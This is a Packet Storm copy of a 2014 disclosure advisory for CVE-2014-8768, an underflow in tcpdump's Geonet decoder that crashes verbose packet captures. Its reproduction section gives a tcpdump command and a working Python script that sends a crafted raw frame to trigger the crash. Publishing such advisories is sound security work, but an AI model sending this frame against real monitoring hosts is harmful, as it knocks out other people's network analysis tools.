what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tcpdump 4.6.2 Geonet Denial Of Service

tcpdump 4.6.2 Geonet Denial Of Service
Posted Nov 19, 2014
Authored by Steffen Bauch

tcpdump versions 4.5.0 through 4.6.2 suffers from a denial of service vulnerability when handling a malformed Geonet payload.

tags | exploit, denial of service
advisories | CVE-2014-8768
SHA-256 | 9af8da699aaaed3f582d3ce2e3473186609cabab6d354ae5b7877ecb392ab0fa

tcpdump 4.6.2 Geonet Denial Of Service

Change Mirror Download
CVE-2014-8768 tcpdump denial of service in verbose mode using malformed 
Geonet payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user
to intercept and display TCP/IP and other packets being transmitted or
received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (Geonet-based) can lead
to an application crash (denial of service) if verbose output of tcpdump
monitoring the network is used.

3. Technical Description

The application decoder for the geonet protocol fails to perform
external input validation and performs insufficient checking on length
computations leading to an unsafe decrement and underflow in the function

geonet_print(netdissect_options *ndo, const u_char *eth, const u_char
*bp, u_int length)

The affected variable is length which is later on used to print a memory
chunk which eventually leads to a segfault. The function contains
several unsafe computations updating the length variable.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on
certain environments, see dmesg for details)

and use the following python program to generate a frame on the network
(might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

geonet_frame =
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"

s.send(geonet_frame)

4. Affected versions

Affected versions are 4.5.0 through 4.6.2

(segfaults were reproducible in versions up to 4.6.1 on Ubuntu 14.04,
but not reliably in 4.6.2. Code audit showed that unsafe computations
are performed in 4.6.2, but the trigger frame might need to look different).

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close